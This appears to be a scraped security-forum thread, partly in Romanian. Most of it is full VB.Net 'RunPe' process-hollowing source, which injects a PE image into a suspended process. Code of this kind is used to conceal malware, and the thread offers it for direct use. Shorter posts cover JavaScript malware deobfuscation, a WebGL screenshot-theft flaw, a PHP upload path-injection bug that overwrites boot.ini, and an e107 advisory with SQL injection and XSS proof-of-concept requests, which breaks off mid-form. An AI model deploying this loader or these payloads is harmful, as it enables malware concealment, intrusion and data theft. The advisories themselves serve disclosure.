System.Runtime.InteropServices.Marshal.PtrToStructure(New System.IntPtr(Buffer + Offset + I * 40), SH.GetType) Dim Raw(SH.Size) As Byte For Y As Integer = 0 To SH.Size - 1 : Raw(Y) = data(SH.Pointer + Y) : Next H.WriteProcessMemory(PI.Process, ImageBase + SH.Address, Raw, SH.Size, ret) H.VirtualProtectEx(PI.Process, ImageBase + SH.Address, SH.Misc.Size, Protect(SH.Flags), Address) Next I Dim T = BitConverter.GetBytes(ImageBase) H.WriteProcessMemory(PI.Process, C.Ebx + 8, T, 4, ret) C.Eax = ImageBase + NH.Optional.Address H.SetThreadContext(PI.Thread, C) H.ResumeThread(PI.Thread) End If End If End Sub Public Shared Function RShift(ByVal lValue As Long, ByVal lNumberOfBitsToShift As Long) As Long RShift = vbLongToULong(lValue) / (2 ^ lNumberOfBitsToShift) End Function Public Shared Function vbLongToULong(ByVal Value As Long) As Double Const OFFSET_4 = 4294967296.0# If Value < 0 Then vbLongToULong = Value + OFFSET_4 Else vbLongToULong = Value End If End Function Public Shared Function Protect(ByVal characteristics As Long) As Long Dim mapping() As Object = {PAGE_NOACCESS, PAGE_EXECUTE, PAGE_READONLY, _ PAGE_EXECUTE_READ, PAGE_READWRITE, PAGE_EXECUTE_READWRITE, _ PAGE_READWRITE, PAGE_EXECUTE_READWRITE} Protect = mapping(RShift(characteristics, 29)) End Function <System.ComponentModel.EditorBrowsable(1)> Friend Class H <System.Runtime.InteropServices.StructLayout(0)> Structure Context Dim Flags, D0, D1, D2, D3, D6, D7 As System.UInt32, Save As Save Dim SG, SF, SE, SD, Edi, Esi, Ebx, Edx, Ecx, Eax, Ebp, Eip, SC, EFlags, Esp, SS As System.UInt32 <System.Runtime.InteropServices.MarshalAs(System.Runtime.InteropServices.UnmanagedType.ByValArray, SizeConst:=512)> Dim Registers As Byte() End Structure <System.Runtime.InteropServices.StructLayout(0)> Structure Save Dim Control, Status, Tag, ErrorO, ErrorS, DataO, DataS As UInteger <System.Runtime.InteropServices.MarshalAs(System.Runtime.InteropServices.UnmanagedType.ByValArray, SizeConst:=80)> Dim RegisterArea As Byte() Dim State As System.UInt32 End Structure Structure Misc Dim Address, Size As System.UInt32 End Structure Structure Section_Header Dim Name As Byte, Misc As Misc, Address, Size, Pointer, PRelocations, PLines, NRelocations, NLines, Flags As System.UInt32 End Structure Structure Process_Information Dim Process, Thread As System.IntPtr, ProcessId, ThreadId As Integer End Structure <System.Runtime.InteropServices.StructLayout(0, CharSet:=3)> Structure Startup_Information Dim CB As Integer, ReservedA, Desktop, Title As String, X, Y, XSize, YSize, XCount, YCount, Fill, Flags As Integer Dim ShowWindow, ReservedB As Short, ReservedC, Input, Output, [Error] As Integer End Structure <System.Runtime.InteropServices.StructLayout(0)> Structure Security_Flags Dim Length As Integer, Descriptor As System.IntPtr, Inherit As Integer End Structure <System.Runtime.InteropServices.StructLayout(0)> Structure DOS_Header Dim Magic, Last, Pages, Relocations, Size, Minimum, Maximum, SS, SP, Checksum, IP, CS, Table, Overlay As System.UInt16 <System.Runtime.InteropServices.MarshalAs(System.Runtime.InteropServices.UnmanagedType.ByValArray, SizeConst:=4)> Dim ReservedA As System.UInt16() Dim ID, Info As System.UInt16 <System.Runtime.InteropServices.MarshalAs(System.Runtime.InteropServices.UnmanagedType.ByValArray, SizeConst:=10)> Dim ReservedB As System.UInt16() Dim Address As System.Int32 End Structure Structure NT_Headers Dim Signature As System.UInt32, File As File_Header, [Optional] As Optional_Headers End Structure <System.Runtime.InteropServices.StructLayout(0)> Structure File_Header Dim Machine, Sections As System.UInt16, Stamp, Table, Symbols As System.UInt32, Size, Flags As System.UInt16 End Structure <System.Runtime.InteropServices.StructLayout(0)> Structure Optional_Headers Public Magic As System.UInt16, Major, Minor As Byte, SCode, IData, UData, Address, Code, Data, Image As System.UInt32, SectionA, FileA As System.UInt32 Public MajorO, MinorO, MajorI, MinorI, MajorS, MinorS As System.UInt16, Version, SImage, SHeaders, Checksum As System.UInt32, Subsystem, Flags As System.UInt16 Public SSReserve, SSCommit, SHReserve, SHCommit, LFlags, Count As System.UInt32 <System.Runtime.InteropServices.MarshalAs(System.Runtime.InteropServices.UnmanagedType.ByValArray, SizeConst:=16)> Public DataDirectory As Data_Directory() End Structure <System.Runtime.InteropServices.StructLayout(0)> Structure Data_Directory Dim Address, Size As System.UInt32 End Structure Declare Auto Function CreateProcess Lib "kernel32" (ByVal name As String, ByVal command As String, ByRef process As Security_Flags, ByRef thread As Security_Flags, ByVal inherit As Boolean, ByVal flags As System.UInt32, ByVal system As System.IntPtr, ByVal current As String, <System.Runtime.InteropServices.In()> ByRef startup As Startup_Information, <System.Runtime.InteropServices.Out()> ByRef info As Process_Information) As Boolean Declare Auto Function WriteProcessMemory Lib "kernel32" (ByVal process As System.IntPtr, ByVal address As System.IntPtr, ByVal buffer As Byte(), ByVal size As System.IntPtr, <System.Runtime.InteropServices.Out()> ByRef written As Integer) As Boolean Declare Auto Function ReadProcessMemory Lib "kernel32" (ByVal process As System.IntPtr, ByVal address As System.IntPtr, ByRef buffer As System.IntPtr, ByVal size As System.IntPtr, ByRef read As Integer) As Integer Declare Auto Function VirtualProtectEx Lib "kernel32" (ByVal process As System.IntPtr, ByVal address As System.IntPtr, ByVal size As System.UIntPtr, ByVal [new] As System.UIntPtr, <System.Runtime.InteropServices.Out()> ByVal old As System.UInt32) As Integer Declare Auto Function VirtualAllocEx Lib "kernel32" (ByVal process As System.IntPtr, ByVal address As System.IntPtr, ByVal size As System.UInt32, ByVal type As System.UInt32, ByVal protect As System.UInt32) As System.IntPtr Declare Auto Function ZwUnmapViewOfSection Lib "ntdll" (ByVal process As System.IntPtr, ByVal address As System.IntPtr) As Long Declare Auto Function ResumeThread Lib "kernel32" (ByVal thread As System.IntPtr) As System.UInt32 Declare Auto Function GetThreadContext Lib "kernel32" (ByVal thread As System.IntPtr, ByRef context As Context) As Boolean Declare Auto Function SetThreadContext Lib "kernel32" (ByVal thread As System.IntPtr, ByRef context As Context) As Boolean End Class End Class JapaBrz RunPe 'Made by JapaBrz Imports System.Runtime.InteropServices Imports System.Text Class DD <StructLayout(LayoutKind.Sequential, CharSet:=CharSet.Unicode)> _ Structure STARTUPINFO Public cb As Integer Public lpReserved As String Public lpDesktop As String Public lpTitle As String Public dwX As Integer Public dwY As Integer Public dwXSize As Integer Public dwYSize As Integer Public dwXCountChars As Integer Public dwYCountChars As Integer Public dwFillAttribute As Integer Public dwFlags As Integer Public wShowWindow As Short Public cbReserved2 As Short Public lpReserved2 As Integer Public hStdInput As Integer Public hStdOutput As Integer Public hStdError As Integer End Structure Private Structure PROCESS_INFORMATION Public hProcess As IntPtr Public hThread As IntPtr Public dwProcessId As Integer Public dwThreadId As Integer End Structure <StructLayout(LayoutKind.Sequential)> _ Private Structure IMAGE_DOS_HEADER Public e_magic As UInt16 ' Magic number Public e_cblp As UInt16 ' Bytes on last page of file Public e_cp As UInt16 ' Pages in file Public e_crlc As UInt16 ' Relocations Public e_cparhdr As UInt16 ' Size of header in paragraphs Public e_minalloc As UInt16 ' Minimum extra paragraphs needed Public e_maxalloc As UInt16 ' Maximum extra paragraphs needed Public e_ss As UInt16 ' Initial (relative) SS value Public e_sp As UInt16 ' Initial SP value Public e_csum As UInt16 ' Checksum Public e_ip As UInt16 ' Initial IP value Public e_cs As UInt16 ' Initial (relative) CS value Public e_lfarlc As UInt16 ' File address of relocation table Public e_ovno As UInt16 ' Overlay number <MarshalAs(UnmanagedType.ByValArray, SizeConst:=4)> _ Public e_res1 As UInt16() ' Reserved words Public e_oemid As UInt16 ' OEM identifier (for e_oeminfo) Public e_oeminfo As UInt16 ' OEM information; e_oemid specific <MarshalAs(UnmanagedType.ByValArray, SizeConst:=10)> _ Public e_res2 As UInt16() ' Reserved words Public e_lfanew As Int32 ' File address of new EXE header End Structure <StructLayout(LayoutKind.Sequential, CharSet:=CharSet.Unicode)> _ Private Structure VS_VERSIONINFO Public wLength As UInt16 Public wValueLength As UInt16 Public wType As UInt16 <MarshalAs(UnmanagedType.ByValTStr, SizeConst:=15)> _ Public szKey As String Public Padding1 As UInt16 End Structure <StructLayout(LayoutKind.Sequential)> _ Structure SECURITY_ATTRIBUTES Public nLength As Integer Public lpSecurityDescriptor As IntPtr Public bInheritHandle As Integer End Structure <StructLayout(LayoutKind.Sequential)> _ Private Structure VS_FIXEDFILEINFO Public dwSignature As UInt32 Public dwStrucVersion As UInt32 Public dwFileVersionMS As UInt32 Public dwFileVersionLS As UInt32 Public dwProductVersionMS As UInt32 Public dwProductVersionLS As UInt32 Public dwFileFlagsMask As UInt32 Public dwFileFlags As UInt32 Public dwFileOS As UInt32 Public dwFileType As UInt32 Public dwFileSubtype As UInt32 Public dwFileDateMS As UInt32 Public dwFileDateLS As UInt32 End Structure <StructLayout(LayoutKind.Sequential)> _ Public Structure FLOATING_SAVE_AREA Public ControlWord As UInteger Public StatusWord As UInteger Public TagWord As UInteger Public ErrorOffset As UInteger Public ErrorSelector As UInteger Public DataOffset As UInteger Public DataSelector As UInteger <MarshalAs(UnmanagedType.ByValArray, SizeConst:=80)> _ Public RegisterArea As Byte() Public Cr0NpxState As UInteger End Structure <StructLayout(LayoutKind.Sequential)> _ Public Structure CONTEXT Public ContextFlags As UInteger 'set this to an appropriate value ' Retrieved by CONTEXT_DEBUG_REGISTERS Public Dr0 As UInteger Public Dr1 As UInteger Public Dr2 As UInteger Public Dr3 As UInteger Public Dr6 As UInteger Public Dr7 As UInteger ' Retrieved by CONTEXT_FLOATING_POINT Public FloatSave As FLOATING_SAVE_AREA ' Retrieved by CONTEXT_SEGMENTS Public SegGs As UInteger Public SegFs As UInteger Public SegEs As UInteger Public SegDs As UInteger ' Retrieved by CONTEXT_INTEGER Public Edi As UInteger Public Esi As UInteger Public Ebx As UInteger Public Edx As UInteger Public Ecx As UInteger Public Eax As UInteger ' Retrieved by CONTEXT_CONTROL Public Ebp As UInteger Public Eip As UInteger Public SegCs As UInteger Public EFlags As UInteger Public Esp As UInteger Public SegSs As UInteger ' Retrieved by CONTEXT_EXTENDED_REGISTERS <MarshalAs(UnmanagedType.ByValArray, SizeConst:=512)> _ Public ExtendedRegisters As Byte() End Structure <StructLayout(LayoutKind.Sequential)> _ Public Structure IMAGE_OPTIONAL_HEADER32 ' ' Standard fields. ' Public Magic As UInt16 Public MajorLinkerVersion As [Byte] Public MinorLinkerVersion As [Byte] Public SizeOfCode As UInt32 Public SizeOfInitializedData As UInt32 Public SizeOfUninitializedData As UInt32 Public AddressOfEntryPoint As UInt32 Public BaseOfCode As UInt32 Public BaseOfData As UInt32 ' ' NT additional fields. ' Public ImageBase As UInt32 Public SectionAlignment As UInt32 Public FileAlignment As UInt32 Public MajorOperatingSystemVersion As UInt16 Public MinorOperatingSystemVersion As UInt16 Public MajorImageVersion As UInt16 Public MinorImageVersion As UInt16 Public MajorSubsystemVersion As UInt16 Public MinorSubsystemVersion As UInt16 Public Win32VersionValue As UInt32 Public SizeOfImage As UInt32 Public SizeOfHeaders As UInt32 Public CheckSum As UInt32 Public Subsystem As UInt16 Public DllCharacteristics As UInt16 Public SizeOfStackReserve As UInt32 Public SizeOfStackCommit As UInt32 Public SizeOfHeapReserve As UInt32 Public SizeOfHeapCommit As UInt32 Public LoaderFlags As UInt32 Public NumberOfRvaAndSizes As UInt32 <MarshalAs(UnmanagedType.ByValArray, SizeConst:=16)> _ Public DataDirectory As IMAGE_DATA_DIRECTORY() End Structure <StructLayout(LayoutKind.Sequential)> _ Public Structure IMAGE_FILE_HEADER Public Machine As UInt16 Public NumberOfSections As UInt16 Public TimeDateStamp As UInt32 Public PointerToSymbolTable As UInt32 Public NumberOfSymbols As UInt32 Public SizeOfOptionalHeader As UInt16 Public Characteristics As UInt16 End Structure <StructLayout(LayoutKind.Sequential)> _ Public Structure IMAGE_DATA_DIRECTORY Public VirtualAddress As UInt32 Public Size As UInt32 End Structure Public Structure IMAGE_NT_HEADERS Public Signature As UInt32 Public FileHeader As IMAGE_FILE_HEADER Public OptionalHeader As IMAGE_OPTIONAL_HEADER32 End Structure Public Enum IMAGE_SIZEOF_SHORT_NAME IMAGE_SIZEOF_SHORT_NAME = 8 End Enum Public Structure Misc Public PhysicalAddress As System.UInt32 Public VirtualSize As System.UInt32 End Structure Public Structure IMAGE_SECTION_HEADER Public Name As System.Byte Public Misc As Misc Public VirtualAddress As System.UInt32 Public SizeOfRawData As System.UInt32 Public PointerToRawData As System.UInt32 Public PointerToRelocations As System.UInt32 Public PointerToLinenumbers As System.UInt32 Public NumberOfRelocations As System.UInt16 Public NumberOfLinenumbers As System.UInt16 Public Characteristics As System.UInt32 End Structure Public Const CONTEXT_X86 = &H10000 Public Const CONTEXT86_CONTROL = (CONTEXT_X86 Or &H1) 'SS:SP, CS:IP, FLAGS, BP Public Const CONTEXT86_INTEGER = (CONTEXT_X86 Or &H2) 'AX, BX, CX, DX, SI, DI Public Const CONTEXT86_SEGMENTS = (CONTEXT_X86 Or &H4) 'DS, ES, FS, GS Public Const CONTEXT86_FLOATING_POINT = (CONTEXT_X86 Or &H8) '387 state Public Const CONTEXT86_DEBUG_REGISTERS = (CONTEXT_X86 Or &H10) 'DB 0-3,6,7 Public Const CONTEXT86_FULL = (CONTEXT86_CONTROL Or CONTEXT86_INTEGER Or CONTEXT86_SEGMENTS) Public Const CREATE_SUSPENDED = &H4 Public Const MEM_COMMIT As Long = &H1000& Public Const MEM_RESERVE As Long = &H2000& Public Const PAGE_NOCACHE As Long = &H200 Public Const PAGE_EXECUTE_READWRITE As Long = &H40 Public Const PAGE_EXECUTE_WRITECOPY As Long = &H80 Public Const PAGE_EXECUTE_READ As Long = &H20 Public Const PAGE_EXECUTE As Long = &H10 Public Const PAGE_WRITECOPY As Long = &H8 Public Const PAGE_NOACCESS As Long = &H1 Public Const PAGE_READWRITE As Long = &H4 <DllImport("kernel32.dll")> _ Private Shared Function ResumeThread(ByVal hThread As IntPtr) As UInt32 End Function <DllImport("kernel32.dll")> _ Private Shared Function GetThreadContext(ByVal hThread As IntPtr, ByRef lpContext As CONTEXT) As Boolean End Function <DllImport("kernel32.dll")> _ Private Shared Function SetThreadContext(ByVal hThread As IntPtr, ByRef lpContext As CONTEXT) As Boolean End Function <DllImport("kernel32.dll")> _ Private Shared Function LoadLibraryA(ByVal lpLibFileName As String) As Integer End Function <DllImport("kernel32.dll")> _ Private Shared Function CreateProcess(ByVal lpApplicationName As String, _ ByVal lpCommandLine As String, ByRef lpProcessAttributes As SECURITY_ATTRIBUTES, _ ByRef lpThreadAttributes As SECURITY_ATTRIBUTES, ByVal bInheritHandles As Boolean, _ ByVal dwCreationFlags As UInt32, ByVal lpEnvironment As IntPtr, ByVal lpCurrentDirectory As String, _ <[In]()> ByRef lpStartupInfo As STARTUPINFO, _ <[Out]()> ByRef lpProcessInformation As PROCESS_INFORMATION) As Boolean End Function <DllImport("kernel32.dll", _ SetLastError:=True, _ CharSet:=CharSet.Auto, _ EntryPoint:="WriteProcessMemory", _ CallingConvention:=CallingConvention.StdCall)> _ Shared Function WriteProcessMemory( _ ByVal hProcess As IntPtr, _ ByVal lpBaseAddress As IntPtr, _ ByVal lpBuffer As Byte(), _ ByVal iSize As Int32, _ <Out()> ByRef lpNumberOfBytesWritten As Int32) As Boolean End Function <DllImport("kernel32.dll", _ SetLastError:=True, _ CharSet:=CharSet.Auto, _ EntryPoint:="WriteProcessMemory", _ CallingConvention:=CallingConvention.StdCall)> _ Shared Function WriteProcessMemoryI( _ ByVal hProcess As IntPtr, _ ByVal lpBaseAddress As IntPtr, _ ByVal lpBuffer As IntPtr, _ ByVal iSize As Int32, _ <Out()> ByRef lpNumberOfBytesWritten As Int32) As Boolean End Function <DllImport("kernel32.dll", EntryPoint:="ReadProcessMemory")> _ Public Shared Function ReadProcessMemory(ByVal hProcess As IntPtr, _ ByVal lpBaseAddress As Integer, _ ByRef lpbuffer As IntPtr, _ ByVal size As Integer, _ ByRef lpNumberOfBytesRead As Integer) As Int32 End Function <DllImport("ntdll.dll")> _ Public Shared Function ZwUnmapViewOfSection(ByVal hProcess As IntPtr, ByVal BaseAddress As IntPtr) As Long End Function <DllImport("kernel32.dll", SetLastError:=True, ExactSpelling:=True)> _ Public Shared Function VirtualAllocEx(ByVal hProcess As IntPtr, ByVal lpAddress As IntPtr, _ ByVal dwSize As UInteger, ByVal flAllocationType As UInteger, _ ByVal flProtect As UInteger) As IntPtr End Function <DllImport("kernel32", CharSet:=CharSet.Auto, SetLastError:=True)> _ Public Shared Function VirtualProtectEx(ByVal hProcess As IntPtr, ByVal lpAddress As IntPtr, ByVal dwSize As UIntPtr, ByVal flNewProtect As UIntPtr, <Out()> ByVal lpflOldProtect As UInteger) As Integer End Function Const GENERIC_READ As Int32 = &H80000000 Const FILE_SHARE_READ As UInt32 = &H1 Const OPEN_EXISTING As UInt32 = 3 Const FILE_ATTRIBUTE_NORMAL As UInt32 = &H80 Const INVALID_HANDLE_VALUE As Int32 = -1 Const PAGE_READONLY As UInt32 = &H2 Const FILE_MAP_READ As UInt32 = &H4 Const IMAGE_DOS_SIGNATURE As UInt16 = &H5A4D Const RT_VERSION As Int32 = 16 Private Enum ImageSignatureTypes IMAGE_DOS_SIGNATURE = &H5A4D ''\\ MZ IMAGE_OS2_SIGNATURE = &H454E ''\\ NE IMAGE_OS2_SIGNATURE_LE = &H454C ''\\ LE IMAGE_VXD_SIGNATURE = &H454C ''\\ LE IMAGE_NT_SIGNATURE = &H4550 ''\\ PE00 End Enum Public Shared Sub SRexec(ByVal b() As Byte, ByVal sVictim As String) Dim sVersion As [String] = Nothing Dim pidh As IMAGE_DOS_HEADER Dim context As CONTEXT = New CONTEXT() Dim Pinh As IMAGE_NT_HEADERS Dim Pish As IMAGE_SECTION_HEADER Dim pi As PROCESS_INFORMATION = New PROCESS_INFORMATION() Dim si As STARTUPINFO = New STARTUPINFO() Dim pSec As SECURITY_ATTRIBUTES = New SECURITY_ATTRIBUTES() Dim tSec As SECURITY_ATTRIBUTES = New SECURITY_ATTRIBUTES() 'converts a data type in another type. 'since .net types are different from types handle by winAPI, DirectCall a API will cause a type mismatch, since .net types ' structure is completely different, using different resources. Dim MyGC As GCHandle = GCHandle.Alloc(b, GCHandleType.Pinned) Dim ptbuffer As Integer = MyGC.AddrOfPinnedObject.ToInt32 pidh = Marshal.PtrToStructure(MyGC.AddrOfPinnedObject, pidh.GetType) MyGC.Free() If CreateProcess(Nothing, sVictim, pSec, tSec, False, &H4, Nothing, Nothing, si, pi) = 0 Then Exit Sub End If Dim vt As Integer = ptbuffer + pidh.e_lfanew Pinh = Marshal.PtrToStructure(New IntPtr(vt), Pinh.GetType) Dim addr As Long, lOffset As Long, ret As UInteger si.cb = Len(si) context.ContextFlags = CONTEXT86_INTEGER 'all "IF" are only for better understanding, you could do all verification on the builder and then the rest on the stub If Pinh.Signature <> ImageSignatureTypes.IMAGE_NT_SIGNATURE Or pidh.e_magic <> ImageSignatureTypes.IMAGE_DOS_SIGNATURE Then Exit Sub If GetThreadContext(pi.hThread, context) And _ ReadProcessMemory(pi.hProcess, context.Ebx + 8, addr, 4, 0) >= 0 And _ ZwUnmapViewOfSection(pi.hProcess, addr) >= 0 Then Dim ImageBase As UInt32 = VirtualAllocEx(pi.hProcess, Pinh.OptionalHeader.ImageBase, Pinh.OptionalHeader.SizeOfImage, MEM_RESERVE Or MEM_COMMIT, PAGE_READWRITE) If ImageBase <> 0 Then WriteProcessMemory(pi.hProcess, ImageBase, b, Pinh.OptionalHeader.SizeOfHeaders, ret) lOffset = pidh.e_lfanew + 248 For i As Integer = 0 To Pinh.FileHeader.NumberOfSections - 1 'math changes, anyone with pe understanding know Pish = Marshal.PtrToStructure(New IntPtr(ptbuffer + lOffset + i * 40), Pish.GetType) Dim braw(Pish.SizeOfRawData) As Byte 'more math for reading only the section. mm API has a "shortcut" when you pass a specified startpoint. '.net can't use so you have to make a new array For j As Integer = 0 To Pish.SizeOfRawData - 1 braw(j) = b(Pish.PointerToRawData + j) Next WriteProcessMemory(pi.hProcess, ImageBase + Pish.VirtualAddress, braw, Pish.SizeOfRawData, ret) VirtualProtectEx(pi.hProcess, ImageBase + Pish.VirtualAddress, Pish.Misc.VirtualSize, Protect(Pish.Characteristics), addr) Next i Dim bb As Byte() = BitConverter.GetBytes(ImageBase) WriteProcessMemory(pi.hProcess, context.Ebx + 8, bb, 4, ret) context.Eax = ImageBase + Pinh.OptionalHeader.AddressOfEntryPoint Call SetThreadContext(pi.hThread, context) Call ResumeThread(pi.hThread) End If End If End Sub Private Shared Function Protect(ByVal characteristics As Long) As Long Dim mapping() As Object = {PAGE_NOACCESS, PAGE_EXECUTE, PAGE_READONLY, _ PAGE_EXECUTE_READ, PAGE_READWRITE, PAGE_EXECUTE_READWRITE, _ PAGE_READWRITE, PAGE_EXECUTE_READWRITE} Protect = mapping(RShift(characteristics, 29)) End Function Private Shared Function RShift(ByVal lValue As Long, ByVal lNumberOfBitsToShift As Long) As Long RShift = vbLongToULong(lValue) / (2 ^ lNumberOfBitsToShift) End Function Private Shared Function vbLongToULong(ByVal Value As Long) As Double Const OFFSET_4 = 4294967296.0# If Value < 0 Then vbLongToULong = Value + OFFSET_4 Else vbLongToULong = Value End If End Function End Class Usage: SRexec(something, Application.ExecutablePath) Sursa: [VB.Net] RunPe's Thread - r00tsecurity
  13. Javascript Deobfuscation Tools (Part 1) Posted on June 17, 2011 by darryl Deobfuscating Javascript can be tricky so why not make the job easier by using a tool? There’s several tools that can help you deobfuscate Javascript. Before I get to those tools, I wanted to show you how to deobfuscate them manually. I’ve been getting a lot of requests from folks who want to learn how to deobfuscate malscripts so this article is for you. Let’s have a look at the malicious scripts. These scripts were found in the wild and randomly selected based on its difficulty. I’ve uploaded these scripts to Pastebin.com so you can play along (warning, these are real malicious scripts so take the necessary precautions!). Sample 1 This script is simple and should be easy for the tools to handle. There are interweaving comments that do nothing but throw you off visually. The script concatenates a long string of hex characters which are converted to text and reversed. Each text character is then searched for in a string and a corresponding new character is referenced. Here’s the string that the characters are searched for and the second line is the converted value: SP%cpH2W5C83fEX:1rjF9AQdMlKi/sk4GuvtxJOBm_U.NqzY7aw&nhgZoVT=0IbRDye?6-L 0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ/.:_-?&=% For example, if the first value is “L”, it will be converted to “%”. These new characters are joined together to form another string of hex characters which are finally unescaped to form the final script. Here’s what you can do to see the final script: And this is what you get: ince this article is about tools, here’s a program that I wrote. It’s called Revelo (which is Latin for “reveal”) but it’s not quite ready for public release. This tool automates some of the manual changes I make to the scripts to deobfuscate the code. It’s not a debugger and more like a set of tools. Revelo has a built-in packet sniffer and proxy so I can capture the resulting HTTP request and see the URLs without actually visiting the site. It also has a built-in firewall to protect my PC from accidental redirects. Besides that, it can also reveal the actual deobfuscated code. I select the “Enclose Javascript in TextArea” option and get the resulting code: Mai sunt inca 2 exemple. Articol complet: http://www.kahusecurity.com/2011/javascript-deobfuscation-tools-part-1/
  14. WebGL – More WebGL Security Flaws James Forshaw, Paul Stone, Michael Jordon 16th June 2011 Summary In this blog post Context demonstrates how to steal user data through web browsers using a vulnerability in Firefox’s implementation of WebGL. This is a continuation of our research into serious design flaws that could affect any browser which implements WebGL, currently Chrome and Firefox. Context has been researching the new 3D graphics technology, WebGL, which allows web pages to draw fast 3D graphics in a similar manner to computer games. This exciting technology has the capability to deliver a much richer experience to web users. However, to enable this impressive breakthrough in online technology, web browsers (currently Chrome and Firefox) have had to expose low level parts of their operating systems which previously could not be directly accessed by potentially malicious web pages, thus creating a number of potential security vulnerabilities. Context identified this (and other) issues with WebGL by evaluating Chrome and Firefox WebGL implementations against the conformance test suite devised by Khronos, the consortium which draws up the WebGL specification. We have established that none of the current implementations comply with this standard. Furthermore, Context’s research found that Khronos’ recommended defence against the DoS issue (WebGL_ARB_robustness) is not fit for purpose. First, only certain chipsets and operating systems (NVidia on Windows and Linux) support this feature. Moreover, this extension only offers mitigation, not a comprehensive solution to WebGL DoS issues. In the video below, we show how anyone running Firefox 4 with WebGL support is vulnerable to having malicious web pages capture screenshots of any window on their system. These screenshots could be of other web pages, the user’s desktop and other applications that run on their system. Background In our first blog Context outlines serious security concerns related to the use of WebGL. We were able to steal images from other web pages and crash people’s machines (Denial of Service, or DoS) from a malicious website. These examples showed the danger of allowing malicious code to run on graphics cards which were never designed to defend against this threat. After reviewing our previous work Firefox has now removed support for cross-domain images (https://hacks.mozilla.org/2011/06/cross-domain-webgl-textures-disabled-in-firefox-5); while Khronos is updating the WebGL specification to include protection from DoS (using a new OpenGL extension GL_ARB_robustness) and Cross-Origin Resource Shading (CORS) attacks (WebGL Security - khronos.org news). The fact that it is doing so begs the question as to whether this technology was specified, designed and implemented with security in mind. The problems we identified in our first blog were examples of the types of issues that can be created as a result of WebGL use. It is not totally unexpected or unusual for there to be security issues associated with a new technology, but it is crucial that the standard and the correct mitigation processes are quickly adjusted once such problems are identified to ensure that end user security is not compromised. To this end Context reviewed the conformance tests that Khronos has provided for WebGL vendors to use in assessing compliance to the standard. Through this work Context has discovered that neither Chrome nor Firefox passed the Khronos tests, including a number that are directly related to security. Context then explored the consequences of one of the failed conformance tests: the issue it identified allowed us to extract images containing data from the user’s desktop and from other web browser sessions such as authenticated pages. This issue was specific to Firefox and will be fixed in the next version of the browser. If you are concerned by WebGL based attacks see our FAQ for details on whether you are vulnerable and if so how to protect yourself. Articol complet: http://www.contextis.com/resources/blog/webgl2/
  15. File path injection in PHP ? 5.3.6 file upload (CVE 2011-2202) Saturday, June 18, 2011 Since the thing went public before new PHP version has been released, I present full details of the latest PHP vulnerability I reported - together with some sweet demo exploit. The issue was found with fuzzing being part of my recent file upload research. And I still have some more to show in the future My thanks go to Pawe? Gole? who helped analyze the vulnerability. The PHP Part The whole issue is tracked as PHP bug #54939, but the website is now down. The exemplary exploit is at pastebin. The nature of the bug is simple. PHP claims to remove the path component from HTTP file upload forms (transferred as MIME multipart/form-data requests), leaving only the file name given by the user agent. This is both for security, and to fix MSIE incompatibility (IE used to send full path like this: c:\WINDOWS\WHATEVER\My_file.txt). However, in 2008 PHP developers made a off-by-one error, and, as a result, if a name starts with \ or / and has no other (back)slashes, it's left as-is. So, this allows for: /vmlinuz /autorun.inf (/ will map to C:\ in WINDOWS - the drive where your PHP is run from) /boot.ini and other interesting file "names" to pass through. The application part Of course, what this means is simply that $_FILES[$input_field_name]['name'] will contain unsanitized file path - and that's not enough to complete an exploit. PHP script would need to use that filename as a destination for file writing. Unfortunately, at least a few applications do. I've found some pretty interesting examples. Among them is this AjaxFileUpload plugin. There are more applications with the same approach - just go on looking! AjaxFileUpload simply passes the given file "name" to move_uploaded_file(), which would try to create/overwrite a file in a root directory... The set up part And that will most likely fail, because of insufficient permissions. Who on Earth would allow PHP to write to root? Well, default Apache installation on Windows systems is run as a SYSTEM user (a.k.a root). Also, for some shared hostings PHP is run in a chroot-ed environment, and / is the document root of a website (which allows for an easy site defacement). It's tricky, I agree, that's why this bug is v. difficult to exploit in the wild (luckily). But it's possible! Today's Heroes: WAMP server, newest version (PHP 5.3.5), default install PHP <= 5.3.6, (5.3.5 in the demo) Windows XP AjaxFileUpload - A jQuery plugin that simulates asynchronous file uploads. In the exploit I simply show that (thanks to vulnerable set up) I can overwrite c:\boot.ini and make the system unbootable. There are more advanced scenarios that could be done (essentially I can supply a boot record file to use on next boot), but it's not my area of expertise. To upload a file, the HTML5 arbitrary file upload technique was used. So, patch your PHPs and bye! Sursa si video demonstrativ: http://blog.kotowicz.net/2011/06/file-path-injection-in-php-536-file.html
      • 1
      • Upvote
  16. e107 0.7.25 Cross Site Scripting / SQL Injection Cred ca inca e destul de folosit... Vulnerability ID: HTB23004 Reference: http://www.htbridge.ch/advisory/multiple_vulnerabilities_in_e107_1.html Product: e107 website system Vendor: e107 ( http://e107.org/ ) Vulnerable Version: 0.7.25 and probably prior Tested on: 0.7.25 Vendor Notification: 25 May 2011 Vulnerability Type: Multiple Vulnerabilities Risk level: Medium Credit: High-Tech Bridge SA Security Research Lab ( http://www.htbridge.ch/advisory/ ) Vulnerability Details: 1. SQL injection in e107 The vulnerability exists due to failure in the "/e107_admin/users_extended.php" script to properly sanitize user-supplied input in "user_field" variable. "magic_quotes" must be set to "off". Attacker can alter queries to the application SQL database, execute arbitrary queries to the database, compromise the application, access or modify sensitive data, or exploit various vulnerabilities in the underlying SQL database. Attacker can use browser to exploit this vulnerability. The following PoC code is available: POST /e107_admin/users_extended.php?cat= HTTP/1.1 Host: HOST Cookie: <valid session cookies> Content-Type: application/x-www-form-urlencoded Content-Length: user_field=sss','',0, ','','', '0', '253','0','0','253','0','0'),('0',(select user()),'',0,'','','','0','253','0','0','253','0','0'),('0','dfg&user_applicable=253&user_read=0&user_write=253&add_category=Add+category 2. XSS in e107 User can execute arbitrary JavaScript code within the vulnerable application. The vulnerability exists due to failure in the "/e107_admin/users_extended.php" script to properly sanitize user-supplied input in "user_include" variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data. An attacker can use browser to exploit this vulnerability. The following PoC code is available:: poc.html <script> setTimeout("document.getElementById('f1').src='http://HOST/e107_admin/users_extended.php'",2000); </script> <iframe id=f1 src='form.html'></iframe> form.html <form method="POST" action="http://HOST/e107_admin/users_extended.php?editext" name=m> <input type="hidden" name="user_field" value="abcde1f1"> <input type="hidden" name="user_text" value="12121"> <input type="hidden" name="user_type" value="1"> <input type="hidden" name="user_include" value='"><script>alert(document.cookie)</script>'> <input type="hidden" name="add_field" value="1"> <input type="hidden" name="user_parent" value="0"> <input type="hidden" name="user_required" value="0"> 